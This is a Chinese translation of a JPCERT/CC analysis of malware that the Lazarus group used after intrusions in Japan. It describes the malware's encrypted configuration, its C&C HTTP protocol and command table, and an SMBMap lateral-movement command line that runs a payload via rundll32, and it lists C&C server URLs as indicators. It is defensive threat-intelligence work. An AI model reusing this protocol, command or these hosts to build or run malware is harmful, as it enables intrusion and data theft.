JPCERT / CC(日本互联网应急响应中心)发现了拉撒路(也称为“隐藏的眼镜蛇”)针对日本的攻击活动。其在入侵期间和入侵之后会使用不同类型的恶意软件,本文介绍了入侵后使用的一种恶意软件。
1、恶意软件概述
该恶意软件下载并执行恶意模块,并以.drv文件的形式保存在C:/Windows/System32/文件夹中,伪装成系统服务。该模块使用YMProtect软件进行混淆保护。文件末尾还填充了一些冗余的数据,这使得文件增加到150MB左右。图1显示了恶意模块下载和执行的流程。
图1:恶意软件行为
下面将分章节详细介绍该恶意软件的配置,通信格式以及模块。
2、配置
恶意软件的配置(大小为0x6DE)被加密存储在注册表项中,并在执行时加载。在此次分析中确认配置存储在下面目录中:
Key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\eventlog\Application
Value: Emulate
图2是解码配置一个示例。它包含一个加密密钥以及C&C服务器信息。(详见附录A)
图2:配置示例
3、加密
该恶意软件中的所有字符串均使用AES128加密,加密密钥被硬编码在恶意软件中,图3是加密密钥的示例。由于恶意软件要将16个字母的字符串转换为长字符串(32个字节),因此仅将前16个字节用作密钥。
图3:AES加密密钥示例
Windows API名称也是经过AES加密的。解密API字符串后,再由LoadLibrary和GetProcAddress 获取将要被调用的API地址。
图4:Windows API 加密混淆
4、C&C服务器通信
以下是恶意软件首先发送的HTTP POST请求的示例。
POST /[Path] HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Cookie: token=[a 4-digit random value][a 4-digit authentication key][times of communication]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Length: [Size]
Host:[Server]
[param]=[Base64 data]
POST数据的参数([param])是从以下随机选择的。
tname;blogdata;content;thesis;method;bbs;level;maincode;tab;idx;tb;isbn;entry;doc;category;articles;portal;notice;product;themes;manual;parent;slide;vacon;tag;tistory;property;course;plugin
POST数据中的值是下面数据的Base64编码的字符串。
[default AES Key]@[Unique ID]
如果从C&C服务器返回的响应与Cookie(Base64编码)中的“4-digit authentication key”的值相同,则该恶意软件将发送以下信息。
在第二次通信后,恶意软件发送以下HTTP POST请求。
POST /[Path] HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Length: [Size]
Host: [Server]
Cookie: token=[numeric value]; JSESSIONID=[Session ID]
[param]=[Data1 (Base64 + AES)][Data2 (Base64 + AES)]
POST数据的参数是从上面列表中随机选择的。POST数据包含两条信息。“Data1”表示命令,而“Data2”表示命令执行的结果和其他的附加数据。(详情请参阅附录B中表B-1和B-2。)
其响应的数据格式与请求的相同,只是没有参数。响应数据与POST数据一样先用AES加密,然后用base64编码,区别在于“+”符号用空格代替。
图5是从与C&C服务器通信开始到下载模块的通信流程。在第二次通信中,恶意软件发送一个新的AES密钥,该密钥对随后的通信进行加密。
图5:恶意软件通信流程
在第三次通信中下载了一个模块。下面是下载模块时来自C&C服务器的响应示例。
HTTP/1.1 200 OK
Date: Tue, 25 Jun 2020 21:30:42 GMT
Server: Apache/2.4.26 (Unix) OpenSSL/1.0.1
Content-Encoding: ISO-8859-1
Content-Type: text/html;charset=ISO-8859-1
Access-Control-Allow-Origin: *
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Transfer-Encoding: chunked
1ff8
85RR0p8Pq3VfTrSugxgO2Q==Bjpj4qAKXKypb9JFS8IVYleb2P8vp9axDdXCBd…
5、模块下载
模块下载成功后,将执行从C&C服务器接收的命令。(恶意软件提供了C&C服务器和加密密钥等信息作为参数。)下载的模块是经过UPX加壳的,如图6所示。
图6:下载的已解码模块
通信执行与之前提到的格式几乎相同。可以确认该模块具有以下功能:(详见附录C)
对文件的操作(创建列表、删除、复制、修改创建时间)
对进程的操作(创建列表、执行、关闭)
上传/下载文件
创建和上传一个任意目录的ZIP文件
执行任意shell命令
获取磁盘信息
修改系统时间
6、横向移动
为了横向移动,攻击者使用了SMBMap [1]这个Python工具,通过Pyinstaller将其转换为Windows 可执行程序,该工具允许通过SMB访问远程主机。攻击者通过利用他们事先获得的账户信息进行内网横向移动。
[File_Name].exe -u USERID -p PASSWORD=[password] -H [IP_Address] -x "c:\windows\system32rundll32.exe C:\ProgramData\iconcache.db,CryptGun [AES Key]"
7、结尾
拉撒路已经在很多国家开展了攻击活动,相关活动也被很多机构报道过。日本cert会对该组织进行跟踪分析。
附录D中列出了本文中提到的示例中的C&C服务器信息。请确保没有任何设备与这些主机进行通信。
参考文献
[1] GitHub: SMBMap
https://github.com/ShawnDEvans/smbmap
附录
附录A:配置
表A:配置列表
Offset | Length | Contents |
0x000 | C&C服务器的数量 | 5 |
0x004 | C&C服务器1 | |
0x104 | C&C服务器2 | |
0x204 | C&C服务器3 | |
0x304 | C&C服务器4 | |
0x404 | C&C服务器5 | |
0x504 | 未分配 | 包含“ cmd.exe” |
0x604 | 操作时间 | |
0x616 | 睡眠时间 | |
0x626 | 版本信息 | 包含“x64_1.0” |
0x676 | 唯一ID标志 | |
0x67A | ID | 根据计算机名称创建唯一值 |
0x6B6 | AES密钥 |
附录B:交换数据的内容
表B-1:Data1格式(已解密)
Offset | 长度 | 内容 |
0x00 | 4 | Data1 大小 |
0x04 | 2 | 随机数 |
0x06 | 2 | 命令 |
0x08 | 4 | Data2 大小 |
0x0C | 2 | 随机数或附加命令 |
表B-2:Data2格式(已解密)
Offset | 长度 | 内容 |
0x00 | 4 | Data2 大小 |
0x04 | - | 数据(内容取决于命令) |
附录C:命令
表C:命令列表
值 | 内容 |
0xABCF | 获取当前目录 |
0xABD5 | 获取文件列表 |
0xABD7 | 获取进程列表 |
0xABD9 | 终止进程 |
0xABDB | 执行进程 |
0xABDD | 执行进程 (CreateProcessAsUser) |
0xABE1 | 下载文件 |
0xABE3 | 上传文件 |
0xABE9 | 上传文件(创建ZIP) |
0xABEB | 修改文件创建时间(timestomp) |
0xABED | 修改本地时间 |
0xABF5 | 删除文件(sdelete) |
0xABF7 | 执行shell命令 |
0xABF9 | 检查连接 |
0xAC03 | - |
0xAC05 | - |
0xAC07 | 修改服务器C&C |
0xAC0D | 获取磁盘/文件信息 |
0xAC15 | 改变当前目录 |
0xAC17 | - |
0xAC19 | 获取加载进程信息 |
0xAC27 | 复制文件 |
附录D: C&C服务器
https://gestao.simtelecomrs.com.br/sac/digital/client.jsp
https://sac.onecenter.com.br/sac/masks/wfr_masks.jsp
https://mk.bital.com.br/sac/Formule/Manager.jsp
本文为CNTIC编译,不代表本公众号观点,转载请保留出处与链接。
原文标题:Malware Used by Lazarus after Network Intrusion
原文地址:https://blogs.jpcert.or.jp/en/2020/08/Lazarus-malware.html
编译:CNTIC情报组
声明:本文来自国家网络威胁情报共享开放平台,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。